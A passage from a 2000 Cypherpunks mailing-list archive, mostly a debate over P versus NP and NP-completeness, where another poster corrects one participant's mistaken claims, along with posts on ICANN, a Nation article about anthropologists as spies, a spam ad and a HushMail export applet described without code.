to avoid > confusion. > > For the class NP as defined there (and I can give the definition here in a > separate message if you want, but they do it with more skill and care than > I would), it is *not* the case that "if we can resolve a single NP to P > then that should resolve ALL NP to P." > > We *can* identify particular problems for which we can prove > "if we can solve this problem P in polynomial time, then P = NP." > Then P is called an "NP-hard" problem. If the problem P is also itself in > NP, then P is called an "NP-complete" problem. > We can prove these theorems by giving explicit methods to convert a > solution algorithm for one such problem into a solution algorithm for any > problem in NP. I accept that. A point of clarity, I'm not claiming that N=NP for a single problem means I can solve all of them. I believe that to say that if a problem isn't polynomial then it must fit into NP and that ALL NP are equivalent is just silly. It's like saying N! and be reduced to e^x, though neither can strictly be reduced to a polynomial. However, especialy in the press, there seems to be exactly this sort of view. It seems to be that the impression they leave is that if we find a P solution to primality we'll as a consequence have a solution avenue to all other NP problems. It's that 'all other' that I object too. With respect to your statement above, it just seems they use your wording and leave the 'particular problems' part out. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Sat Nov 4 15:10:07 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 17:10:07 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, dmolnar wrote: > The original problem for which this was shown was formula satisfiability: > "given a boolean formula, does there exist an assignment to all of its > variables which makes the formula evaluate to true?" > If you can solve formula satisfiability in polynomial time, you can solve > any NP problem in polynomial time. Which we now know to be impossible given Godels Incompleteness Theorem, it's also a form of Turings Halting Problem. It should be worded something like: "given SOME boolean formula,..." ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Sat Nov 4 15:21:05 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 17:21:05 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, dmolnar wrote: > The original problem for which this was shown was formula satisfiability: > "given a boolean formula, does there exist an assignment to all of its > variables which makes the formula evaluate to true?" > If you can solve formula satisfiability in polynomial time, you can solve > any NP problem in polynomial time. > > The proof is due to Cook (or independently Levin in the USSR). You can > look it up, or I can try to explain it. If you don't believe it just on my > assertion here, fine. Please say what you need in order to be convinced. > But if you deny that the Cook theorem is proved or take it to mean > something different, please say so. > > You seem to believe that an NP-hardness result is a "pretty big leap with > no analysis behind it. A canon of faith rather than proof or fact." Why do > you think this? How does it resolve with the Cook result? Where are > you getting your definition of NP? See the last sentence in para 1 above. You are in fact saying if I can resolve one NP -> P then I can resovle ALL NP as P. Yet in your earlier email you said the opposite, that you didn't believe that saying the solution of one NP in a P format meant that all NP could be solved in a P format. You are in effect saying that primality, travelling salesman, etc. are reducible to a single algorithm with respect to resolution. To word the assertion differently, "All problems can be reduced to a sum of products such that no single monomial has a factor more complicated than a power." I really doubt reality is that simple. As to Cooks assertion, it is possible to create logical statements which are irresolvable, irrespective of time or algorithm. So it is clear that there are in fact statements which can't be resolved so there must be at least some class of NP that are not resolvable to P. But you're welcome to your own opinion. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From secret_squirrel at nym.alias.net Sat Nov 4 09:36:34 2000 From: secret_squirrel at nym.alias.net (Secret Squirrel) Date: 4 Nov 2000 17:36:34 -0000 Subject: CDR: Test Ignore Message-ID: <1d2835414c002ecb1459c1ff6db46020@anonymous> Test Dick From George at Orwellian.Org Sat Nov 4 14:50:05 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 4 Nov 2000 17:50:05 -0500 (EST) Subject: CDR: Re: Bush took ss# off his Texas license!!! Message-ID: <200011042250.RAA17165@www0.aa.psiweb.com> Kaos wrote: # There's no SS# on a Texas DL, never has been. There is a DL# that is 8 # digits in length (and related to time and place of initial license # application, not SS#). Then someone in tx.politics was wrong (and I passed it along). But now I'm confused (no cracks please): why change your driver's license number if it doesn't mean anything special? He did change it. From dmolnar at hcs.harvard.edu Sat Nov 4 14:51:26 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Sat, 4 Nov 2000 17:51:26 -0500 (EST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, Jim Choate wrote: [much material elided - apologies for not going through everything precisely at this time. this point particularly struck me.] > Another aspect of the N=NP is that the assumption is that if we can > resolve a single NP to a P then that should resolve ALL NP to P. That's a > pretty big leap with no real analysis behind it. A canon of faith rather > than proof or fact. I'm sorry. I've been talking about the class "NP" as I've seen it defined in class and as in books such as Papadimitriou's _Computational Complexity_ or Garey & Johnson's _Computers and Intractability: A Guide to NP-Completeness_. This is only partly an appeal to authority; it's primarily to clarify what I mean when I'm writing and so try to avoid confusion. For the class NP as defined there (and I can give the definition here in a separate message if you want, but they do it with more skill and care than I would), it is *not* the case that "if we can resolve a single NP to P then that should resolve ALL NP to P." We *can* identify particular problems for which we can prove "if we can solve this problem P in polynomial time, then P = NP." Then P is called an "NP-hard" problem. If the problem P is also itself in NP, then P is called an "NP-complete" problem. We can prove these theorems by giving explicit methods to convert a solution algorithm for one such problem into a solution algorithm for any problem in NP. The original problem for which this was shown was formula satisfiability: "given a boolean formula, does there exist an assignment to all of its variables which makes the formula evaluate to true?" If you can solve formula satisfiability in polynomial time, you can solve any NP problem in polynomial time. The proof is due to Cook (or independently Levin in the USSR). You can look it up, or I can try to explain it. If you don't believe it just on my assertion here, fine. Please say what you need in order to be convinced. But if you deny that the Cook theorem is proved or take it to mean something different, please say so. You seem to believe that an NP-hardness result is a "pretty big leap with no analysis behind it. A canon of faith rather than proof or fact." Why do you think this? How does it resolve with the Cook result? Where are you getting your definition of NP? Is every problem in NP NP-complete? Now, if P = NP, then every single problem in NP is "NP-hard" trivially. Because we can solve them ALL in polynomial time. But if P != NP, then the question "are all problems in NP NP-hard?" becomes interesting. Not every problem in NP is known to be NP-hard, however. For instance, factoring is not known to be NP-hard. If factoring is found to be polynomial time, then P ?= NP is still open. We seem to have different definitions of "the class NP" at work here, and so we're going to talk past each other until this is resolved. Is it clear to you what I'm using now? if not, what more do you need? Thanks, -David From ravage at ssz.com Sat Nov 4 15:59:20 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 04 Nov 2000 17:59:20 -0600 Subject: CDR: Gvdel's Theorem: Index Message-ID: <3A04A2D8.340FD4AE@ssz.com> http://www.ddc.net/ygg/etext/godel/ -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 14009 bytes Desc: not available URL: From Jay at Fenello.com Sat Nov 4 15:12:30 2000 From: Jay at Fenello.com (Jay Fenello) Date: Sat, 04 Nov 2000 18:12:30 -0500 Subject: CDR: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com In-Reply-To: References: Message-ID: <4.3.1.2.20001104174641.00de9d70@mail.mindspring.com> At 10:31 AM 11/3/00, Jim Dixon wrote: >Nevertheless, what has happened here demonstrates a basic flaw at the >heart of the domain name system. ICANN and many essential Internet >resources remain subject to US jurisdiction. ICANN itself is just a >California corporation, so it is subject to the passing whims of the >California legislature as well as those of Congress, the executive >branches, and various and sundry US state and federal courts. > >Some argue that ICANN should itself have authority over all of the >Internet domain name system and the IP address space and in fact >things are creeping in this direction. Given the now-crucial role >that the Internet plays in the global economy, ICANN's hegemony >gives, for example, representatives of small towns in California sitting >on the right committee in Sacramento remarkable and truly unique power >over the rest of the planet. Hi Jim, When exploring ICANN's hegemony (aka domination) over the Internet, you can't help but explore how power and control is expressed in the real world. In response to one of my recent postings, someone commented on my latest sig file with this URL: http://cyberjournal.org/cj/rkm/Whole_Earth_Review/Escaping_the_Matrix.shtml To learn more, just "follow the white rabbit" :-) Jay. +++ Jay Fenello, New Media Strategies ------------------------------------ http://www.fenello.com 678-585-9765 Aligning with Purpose(sm) ... for a Better World ---------------------------------------------------- "Wake up, Neo... The Matrix has you..." -- Trinity From bill.stewart at pobox.com Sat Nov 4 15:29:01 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 4 Nov 2000 18:29:01 -0500 Subject: CDR: Re: Enter and Win at ABCNEWS.com In-Reply-To: <005601c0469b$f95ef900$a6d11018@vncvr1.wa.home.com> References: <20001104031811.121BF4BBC@mrelay10.starwave.com> Message-ID: <3.0.5.32.20001104135510.00ad0b30@idiom.com> At 03:15 PM 11/4/00 -0500, jim bell wrote: > >----- Original Message ----- >X-Loop: openpgp.net >From: ABCNEWS.com >To: Multiple recipients of list >Sent: Friday, November 03, 2000 19:17 PM >Subject: Enter and Win at ABCNEWS.com > > >> Enter ABCNEWS.com's "Weekend In Washington, D.C., Sweepstakes" and you >> could win a trip for two to our nation's capital, including: >> >> * round-trip airfare >> * airport transportation >> * two nights hotel accommodation > >First prize is two days in Washington. >Second prize is three days is Washington. The NSA museum in Ft. Meade is pretty close. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From Wilfred at Cryogen.com Sat Nov 4 16:08:18 2000 From: Wilfred at Cryogen.com (Wilfred L. Guerin) Date: Sat, 04 Nov 2000 19:08:18 -0500 Subject: CDR: Hushmail>>Email Portal (got Flustered...) Message-ID: <3.0.3.32.20001104190818.0099f848@Cryogen.com> Greetings All, I just got flustered with HushCom not being able to develop quality code or systems (HushMail.com/etc), and hacked up a simple applet that will Get all of your hushmail content (recursive on all folders and messages) and pipe them transparently to your preferred local mail server and account. (If local mail host, security is retained. -- as if there is any to begin with.) In short, its a merger of basic smtp and a hacked version of the most recent hush client. -- I simply got aggrivated with their persistant failures and inability to implement basic components. Only thing not covered is the getting of attachments and sub-messages, which is more effective by hand. All internal variables, data, etc, are otherwise included in header or content. (Incl keys) Only requirements are fixing browser security to allow multiple server contact (applet host, hushmail.com, mail server ) and if you use a local mail server, no compromise of data security. (localhost) Works fine for my accounts, should be ok for everything. Please email me directly for url or more info/code/etc... ("Wilfred at Cryogen.com")Only took a few minutes, and can be easily enhanced, however this is merely an informal project to get my personal email off of their damned servers. Wont even comment on their security issues now... :) Have to wait 10 years and see what type of bs comes out similar to the pgp stuff a few weeks ago... eh? So lets go rescue our hushmail :) -Wilfred Wilfred at Cryogen.com -=|[.]|=- From dmolnar at hcs.harvard.edu Sat Nov 4 16:51:26 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Sat, 4 Nov 2000 19:51:26 -0500 (EST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, Jim Choate wrote: > You are in fact saying if I can resolve one NP -> P then I can resovle ALL > NP as P. Yet in your earlier email you said the opposite, that you didn't > believe that saying the solution of one NP in a P format meant that all NP > could be solved in a P format. I was trying to make a distinction between two kinds of problems. I'm sorry if I wasn't clear. 1) The first kind are NP-hard problems. These are problems for which knowing an algorithm to solve the problem *would* allow you to solve every problem in NP. These are the kinds of problems I was referring to in the paragraph I snipped from this message. 2) The second kind are problems which are not known to be in P, which ARE in NP, but which are not known to be NP-hard. Factoring is an example of one such problem. So is discrete log. Knowing a solution algorithm for one of these types of problems does not necessarily tell you anything about solutions for any other problem in NP. These are the kinds of problems I was referring to in "the previous e-mail." I agree with you that the popular press often ignores this distinction, and it's annoying as all get out. > > You are in effect saying that primality, travelling salesman, etc. are > reducible to a single algorithm with respect to resolution. > It's not a single algorithm, per se. It's a combination of the "reduction" from primality, salesman, etc. to satisfiability + the algorithm for solving SAT. The reduction can be thought of as "reformatting" the problem in terms of SAT; it is specific to each problem. Suppose I have an efficient algorithm FINDSAT(F) which takes a boolean formula F and returns "Y" if it's satisfiable, "N" if it is not. Now my algorithm for factoring looks rougly like this: 1) Run my reduction algorithm from factoring --> SAT. This reduction algorithm is specially tailored to the factoring problem, but one can always be found. Why? 1.1) Because factoring can always be expressed as a program on a nondeterministic TM 1.2) Cook's proof shows how to mechanically express the computation of a nondeterministic TM as a formula which is satisfiable iff the TM halts and accepts on a given string. 2) Take the big weird formula generated from step 1) and feed to FINDSAT(F). You now have a way to solve the problem using FINDSAT(F). > As to Cooks assertion, it is possible to create logical statements which > are irresolvable, irrespective of time or algorithm. So it is clear that > there are in fact statements which can't be resolved so there must be at > least some class of NP that are not resolvable to P. What I would say, according to my understanding of the definitions, is that there is no succint certificate for unsatisfiability known. So the problem of recognizing irresolvable = unsatisfiable formulas is not a problem in NP. > But you're welcome to your own opinion. As are you, but the hope is that in mathematical matters we can come to some kind of agreement. -David From ravage at ssz.com Sat Nov 4 18:42:07 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 20:42:07 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: <3.0.5.32.20001104163534.00a5d100@idiom.com> Message-ID: Hi Bill, On Sat, 4 Nov 2000, Bill Stewart wrote: > Jim, you're misunderstanding the class NP, though you're > correct in not holding your breath. > > It's not "all problems that can't be solved in polynomial time." > It's "all problems that can be solved in polynomial time by a > non-deterministic Turing machine." > A non-deterministic Turing machine is allowed to guess answers > (or at least, to guess a polynomial number of answers). > Answers to NP problems can be verified in polynomial time - > the hypothetical machine guesses the answer, and verifies it > in a polynomially bounded time. Which is mathematicaly equivalent to having an algorithm that solves the problem directly in polynomial time. One only has to add to the solution time the factor that represents the 'walk time'. Let's consider a prime seive. The numbers are the positive integers and they're a line. So we take the time to check the solution for any given guess and add to it an 'mx+b' factor to represent the time to generate your guesses (in this cases the positive integers). Last time I checked a polynomial plus a polynomial was just another polynomial. We're not talking about absolute magnitudes but rather the relative magnitude differences of the algorithms. How one pronounces 'tomato' isn't relevant. In fact, it is clear that if the algorithm necessary to generate your 'guess' is itself non-polynomial then you've demonstrated the sum (i.e. time to generate guess plus time to check) can't itself be polynomial. In the case where a random number is used to generate a guess then the factor is a simple constant (i.e. '+c') added to the solution time. Iterations by constant value will also consist of the 'loop time' to execute the sum, again a simple constant. So, in most cases the effort needed to generate the guess or walk sequentaly through a state space or through a random proceess is inconsequencial. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From anonymous at openpgp.net Sat Nov 4 17:42:28 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Sat, 4 Nov 2000 20:42:28 -0500 Subject: CDR: Anthropologists as Spies Message-ID: <28ffb4964dfc97725331c47a373f29cd@remailer.privacy.at> http://www.thenation.com/docPrint.mhtml?i=20001120&s=price by DAVID PRICE On December 20, 1919, under the heading "Scientists as Spies," The Nation published a letter by Franz Boas, the father of academic anthropology in America. Boas charged that four American anthropologists, whom he did not name, had abused their professional research positions by conducting espionage in Central America during the First World War. Boas strongly condemned their actions, writing that they had "prostituted science by using it as a cover for their activities as spies." Anthropologists spying for their country severely betrayed their science and damaged the credibility of all anthropological research, Boas wrote; a scientist who uses his research as a cover for political spying forfeits the right to be classified as a scientist. The most significant reaction to this letter occurred ten days later at the annual meeting of the American Anthropological Association (AAA), when the association's governing council voted to censure Boas, effectively removing him from the council and pressuring him to resign from the national research council. Three out of four of the accused spies (their names, we now know, were Samuel Lothrop, Sylvanus Morley and Herbert Spinden) voted for censure; the fourth (John Mason) did not. Later Mason wrote Boas an apologetic letter explaining that he'd spied out of a sense of patriotic duty. A variety of extraneous factors contributed to Boas's censure (chief among these being institutional rivalries, personal differences and possibly anti-Semitism). The AAA's governing council was concerned less about the accuracy of his charges than about the possibility that publicizing them might endanger the ability of others to undertake fieldwork. It accused him of "abuse" of his professional position for political ends. In 1919 American anthropology avoided facing the ethical questions Boas raised about anthropologists' using their work as a cover for spying. And it has refused to face them ever since. The AAA's current code of ethics contains no specific prohibitions concerning espionage or secretive research. Some of the same anthropologists who spied during World War I did so in the next war. During the early cold war Ruth Benedict and lesser-known colleagues worked for the RAND corporation and the Office of Naval Research. In the Vietnam War, anthropologists worked on projects with strategic military applications. Until recently there was little investigation of either the veracity of Boas's accusation in 1919 or the ethical strength of his complaint. But FBI documents released to me under the Freedom of Information Act shed new light on both of these issues. The FBI produced 280 pages of documents pertaining to one of the individuals Boas accused--the Harvard archeologist Samuel Lothrop. Lothrop's FBI file establishes that during World War I he indeed spied for Naval Intelligence, performing "highly commendable" work in the Caribbean until "his identity as an Agent of Naval Intelligence became known." What is more, World War II saw him back in harness, serving in the Special Intelligence Service (SIS), which J. Edgar Hoover created within the FBI to undertake and coordinate all intelligence activity in Central and South America. During the war the SIS stationed approximately 350 agents throughout South America, where they collected intelligence, subverted Axis networks and at times assisted in the interruption of the flow of raw materials from Axis sources. Lothrop was stationed in Lima, Peru, where he monitored imports, exports and political developments. To maintain his cover he pretended to undertake archeological investigation! ! ! ! s. Lothrop was referring to the Rockefeller Foundation, which financed twenty archeologists who were excavating in Peru, Chile, Colombia, Mexico, Venezuela and Central America. He also used his ties to a variety of academic and research institutions--including Harvard, the Peabody Museum, the Institute of Andean Research and the Carnegie Institute--as cover in Peru. Archeologist Gordon Willey, who worked on an Institute of Andean Research Project in Peru and had some contact with Lothrop at this time, recalled that "it was sort of widely known on the loose grapevine that Sam was carrying on some kind of espionage work, much of which seemed to be keeping his eye on German patrons of the Hotel Bolivar Bar." In fact, Lothrop was considered a valuable agent who collected important information on Peruvian politics and leading public figures of a nature usually difficult to secure. An FBI evaluation reported that headquarters "occasionally receive[s] information of sufficient importance from Mr. Lothrop to transmit to the President." Lothrop's principal source was an assistant to the Peruvian minister of government and police. In the spring of 1944 this informant resigned his governmental position and began "working exclusively under the direction of Dr. Lothrop." In May 1944 the US Embassy reported that Lothrop's principal informant was fully aware of Lothrop's connection to the SIS and FBI. Lothrop's cover was compromised by four Peruvian investigators in the employ of his top informant. His informant had been heard bragging to the Peruvian police that he made more by working for the US Embassy than the police made working for the Peruvian government. The FBI decided to test the reliability of Lothrop's key informant by assigning him to collect information on nonexistent events and individuals. The informant was given background information about a nonexistent upcoming anti-Jewish rally that he was to attend, including a list of specific individuals who would be present. Though the rally did not occur, the informant provided a full report on it. He also filed detailed reports on a nonexistent commemorative celebration of the bombing of Pearl Harbor held in a distant town, and on a fictitious German spy who supposedly had jumped ship in Peru. Lothrop was instructed not to tell the informant that his duplicity had been detected; instead, he was to say he was out of funds to pay for informants. Lothrop refused to believe his informant was lying and sent a letter of resignation to J. Edgar Hoover. His resignation was accepted and he returned to the United States to resume his academic duties at Harvard's Peabody Museum and the Carnegie Institute. What is now known about Lothrop's long career of espionage suggests that the censure of Boas by the AAA in 1919 sent a clear message to him and others that espionage under cover of science in the service of the state is acceptable. In each of the wars and military actions that followed the First World War anthropologists confronted, or more often repressed, the very issues raised by Boas in his 1919 letter to The Nation. While almost every prominent living US anthropologist (including Ruth Benedict, Gregory Bateson, Clyde Kluckhohn and Margaret Mead) contributed to the World War II war effort, they seldom did so under the false pretext of fieldwork, as Lothrop did. Without endorsing the wide variety of activities to which anthropological skills were applied in the service of the military, a fundamental ethical distinction can be made between those who (as Boas put it) "prostituted science by using it as a cover for their activities as spies" and those who did not. World War II did, however, stimulate frank, though muted, discussions of the propriety of anthropologists' using their knowledge of those they studied in times of war, creating conditions in which, as anthropologist Laura Thompson put it, they became "technicians for hire to the highest bidder." Although the racist tenets of Nazism were an affront to the anthropological view of the inherent equality of humankind, Boas (who died in 19! ! ! ! 42) would probably have condemned anthropologists who used science as a cover for espionage during World War II. Approximately half of America's anthropologists contributed to the war effort, with dozens of prominent members of the profession working for the Office of Strategic Services (OSS), Army and Navy intelligence and the Office of War Information. In the following decades there were numerous private and public interactions between anthropologists and the intelligence community. Some anthropologists applied their skills at the CIA after its inception in 1947 and may still be doing so today. For some of them this was a logical transition from their wartime espionage work with the OSS and other organizations; others regarded the CIA as an agency concerned with gathering information to assist policy-makers rather than a secret branch of government that subverted foreign governments and waged clandestine war on the Soviet Union and its allies. Still other anthropologists unwittingly received research funding from CIA fronts like the Human Ecology Fund. The American Anthropological Association also secretly collaborated with the CIA. In the early 1950s the AAA's executive board negotiated a secret agreement with the CIA under which agency personnel and computers were used to produce a cross-listed directory of AAA members, showing their geographical and linguistic areas of expertise along with summaries of research interests. Under this agreement the CIA kept copies of the database for its own purposes with no questions asked. And none were, if for no other reason than that the executive board had agreed to keep the arrangement a secret. What use the CIA made of this database is not known, but the relationship with the AAA was part of an established agency policy of making use of America's academic brain trust. Anthropologists' knowledge of the languages and cultures of the people inhabiting the regions of the Third World where the agency was waging its declared and undeclared wars would have been invaluable to the CIA. The e! ! ! ! xtent to which this occurred is the focus of ongoing archival and FOIA research. When the CIA overthrew Jacobo Arbenz in Guatemala in 1954, an anthropologist reported, under a pseudonym, to the State Department's intelligence and research division on the political affiliations of the prisoners taken by the military in the coup. During the Korean War linguists and ethnographers assisted America's involvement with little vocal conflict of conscience. Norwegian sociologist Johan Galtung's revelations in 1965 of Project Camelot, in which anthropologists were reported to be working on unclassified counterinsurgency programs in Latin America, ignited controversy in the AAA. During America's wars in Southeast Asia the AAA was thrown into a state of upheaval after documents purloined from the private office of UCLA anthropologist Michael Moerman revealed that several anthropologists had secretly used their ethnographic knowledge to assist the war effort. As a result of inquiries made into these revelations, the 1971 annual meeting of the AAA became the scene of a tumultuous showdown after a fact-finding committee chaired by Margaret Mead maneuvered to create a report finding no wrongdoing on the part of the accused anthropologists. An acrimonious debate resulted in the rejection of the Mead report by the voting members of the association. As historian Eric Wakin noted in his book Anthropology Goes to War, this "represented an organized body of younger anthropologists rejecting the values of its elders." But the unresolved ethical issue of anthropologists spying during the First and Second World Wars provided a backdrop to the 1971 showdown. Almost two decades later, during the Gulf War, proposals by conservatives in the AAA that its members assist allied efforts against Iraq provoked only minor opposition. Today most anthropologists are still loath to acknowledge, much less study, known connections between anthropology and the intelligence community. As with any controversial topic, it is not thought to be a good "career builder." But more significant, there is a general perception that to rake over anthropology's past links, witting and unwitting, with the intelligence community could reduce opportunities for US anthropologists to conduct fieldwork in foreign nations. In the course of research in this area I have been told by other anthropologists in no uncertain terms that to raise such questions could endanger the lives of fieldworkers around the globe. This is not a point to be taken lightly, as many anthropologists work in remote settings controlled by hostile governmental or guerrilla forces. Suspicions that one is a US intelligence agent, whether valid or not, could have fatal consequences. As Boas prophetically wrote in his original complaint against Lothrop and his cohorts, "In consequence of their acts every nation will look with distrust upon the visiting foreign investigator who wants to do honest work, suspecting sinister designs. Such action has raised a new barrier against the development of international friendly cooperation." But until US anthropology examines its past and sets rules forbidding both secret research and collaboration with intelligence agencies, these dangers will continue. Over the past several decades the explicit condemnations of secretive research have been removed from the AAA's code of ethics--the principles of professional responsibility (PPR). In 1971 the PPR specifically declared that "no secret research, no secret reports or debriefings of any kind should be agreed to or given" by members of the AAA. By 1990 the attenuation of anthropological ethics had reached a point where anthropologists were merely "under no professional obligation to provide reports or debriefing of any kind to government officials or employees, unless they have individually and explicitly agreed to do so in the terms of employment." These changes were largely accomplished in the 1984 revision of the PPR that Gerald Berreman characterized as reflecting the new "Reaganethics" of the association: In the prevailing climate of deregulation the responsibility for ethical review was shifted from the association to individual judgments. As anthropologist Laura Nader noted! ! ! ! , these Reagan-era changes were primarily "moves to protect academic careers...downplaying anthropologists' paramount responsibility to those they study." The current PPR may be interpreted to mean that anthropologists don't have to be spies unless they want to or have agreed to do so in a contract. A 1995 Commission to Review the AAA Statements on Ethics declared that the committee on ethics had neither the authority nor the resources to investigate or arbitrate complaints of ethical violations and would "no longer adjudicate claims of unethical behavior and focus its efforts and resources on an ethics education program." Members of the current ethics committee believe that even though the AAA explicitly removed language forbidding secretive research or spying, there are clauses in the current code that imply (rather than state) that such conduct should not be allowed--though without sanctions, this stricture is essentially meaningless. Archeologist Joe Watkins, chairman of the ethics committee, believes that if an anthropologist were caught spying today, "the AAA would not do anything to investigate the activity or to reprimand the individual, even if the individual had not been candid [about the true purpose of the research]. I'm not sure that there is anything the association would do as an association, but perhaps public awareness would work to keep such practitioners in line, like the Pueblo clowns' work to control the societal miscreants." Watkins is referring to Pueblo cultures' use of clowns to ridicule miscreants. Although it is debatable whether anthropologist intelligence operatives ! ! ! ! would fear sanctions imposed by the AAA, it is incongruous to argue that they would fear public ridicule more. Enforcing a ban on covert research would be difficult, but to give up on even the possibility of investigating such wrongdoing sends the wrong message to the world and to the intelligence agencies bent on recruiting anthropologists. Many factors have contributed to the AAA's retreat from statements condemning espionage and covert research. Key among these are the century-old difficulties inherent in keeping an intrinsically diverse group of scholars aligned under the framework of a single association. A combination of atavistic and market forces has driven apart members of a field once mythically united around the holistic integration of the findings of archeology and physical, cultural and linguistic anthropology. As some "applied anthropologists" move from classroom employment to working in governmental and industrial settings, statements condemning spying have made increasing numbers of practitioners uncomfortable--and this discomfort suggests much about the nature of some applied anthropological work. The activities encompassed under the heading of applied anthropology are extremely diverse, ranging from heartfelt and underpaid activist-based research for NGOs around the world to production of secret ! ! ! ! ethnographies and time-allocation studies of industrial and blue-collar workplaces for the private consumption of management. As increasing numbers of anthropologists find employment in corporations, anthropological research becomes not a quest for scientific truth, as in the days of Boas, but a quest for secret or proprietary data for governmental or corporate sponsors. The AAA's current stance of inaction sends the dangerous message to the underdeveloped world that the world's largest anthropological organization will take no action against anthropologists whose fieldwork is a front for espionage. As the training of anthropology graduate students becomes increasingly dependent on programs like the 1991 National Security Education Program--with its required governmental-service payback stipulations--the issue takes on increased (though seldom discussed) importance. It is unknown whether any members of the AAA are currently engaged in espionage, but unless the scientific community takes steps to denounce such activities using the clearest possible language and providing sanctions against those who do so, we can anticipate that such actions will continue with impunity during some future crisis or war. Many in the American Anthropological Association are frustrated with its decision neither to explicitly prohibit nor to penalize secretive government research. It is time for US anthropologists to examine the political consequences of their history and take a hard, thoughtful look at Boas's complaint and the implications implicit in the association's refusal to condemn secret research and to re-enact sanctions against anthropologists engaging in espionage. From ashlaws at peoplepc.com Sat Nov 4 17:50:12 2000 From: ashlaws at peoplepc.com (Ashlaws.Mint) Date: Sat, 04 Nov 2000 20:50:12 -0500 Subject: CDR: =?iso-8859-1?Q?_L(=A9=BF=A9)K!_NEW_Co-OP;_We_Do_All_The_Advertising_For_You_!_Big_Money_Maker!_?= Message-ID: <200011050118.RAA28336@toad.com> CO-OP ADVERTISING SYSTEM. Greatest Money Maker Ever, This is HOT! We Do All The Advertising For You, No Recruiting Required. Pay only One Time.YOU MUST SEE THIS! FOR MORE INFORMATION. REPLY TO THIS MESSAGE WITH MORE INFO IN THE SUBJECT. ashlaws at peoplepc.com ashlaws at mail.com From ravage at einstein.ssz.com Sat Nov 4 19:04:12 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 21:04:12 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, dmolnar wrote: > On Sat, 4 Nov 2000, Jim Choate wrote: > > > You are in fact saying if I can resolve one NP -> P then I can resovle ALL > > NP as P. Yet in your earlier email you said the opposite, that you didn't > > believe that saying the solution of one NP in a P format meant that all NP > > could be solved in a P format. > > I was trying to make a distinction between two kinds of problems. > I'm sorry if I wasn't clear. > > 1) The first kind are NP-hard problems. These are problems for which > knowing an algorithm to solve the problem *would* allow you to solve > every problem in NP. These are the kinds of problems I was referring > to in the paragraph I snipped from this message. Let's start with a set of sentences. Each of those sentences is a sequence of connective, operators, and values that reduce to binary values. Our job is to determine the truth or falsity value of each sentence in that set. I further see no reason to suspect that the sentence set itself is even countable (and even if it is it is still infinite in extent). What you propose isn't possible. There are logical statements in the P & NP class which are not provable. There is no way that you can say that a set of sentences can at the same time contain insoluble members (and there isn't a way to tell them apart since the test may itself be unprovable) and have an algorithm which will solve all of them because you can solve one of them. Now if you restrict the problems to specific domains (since NP contains P I'll talk only to NP) then we are injecting a distinction of class in the NP and there goes our "if I can prove one of them I can prove all of them". ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From jimdbell at home.com Sat Nov 4 21:04:59 2000 From: jimdbell at home.com (jim bell) Date: Sat, 4 Nov 2000 21:04:59 -0800 Subject: CDR: RE: FW: BLOCK: AT&T signs bulk hosting contract with spammers References: Message-ID: <00bb01c046e5$f28dac80$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- From: Jim Choate To: > On Fri, 3 Nov 2000, Gil Hamilton wrote: > > Hence, the obvious solution is to make it *cost money to send mail* > > (or to use any other network resource). > > It already does (TANSTAAFL), what you seem to be missing is WHO is doing > the paying. When the postman drops that mail in my mailbox it costs me > nothing. But it does, in fact. It costs you the effort to look at it (and distinguish it from desired mail) and that might mean you have to physically open it up. Then, you have to dispose of it, and that involves not merely tossing it into the trash, but setting it out to be picked up once a week. (Of course, those who burn their own trash may actually see 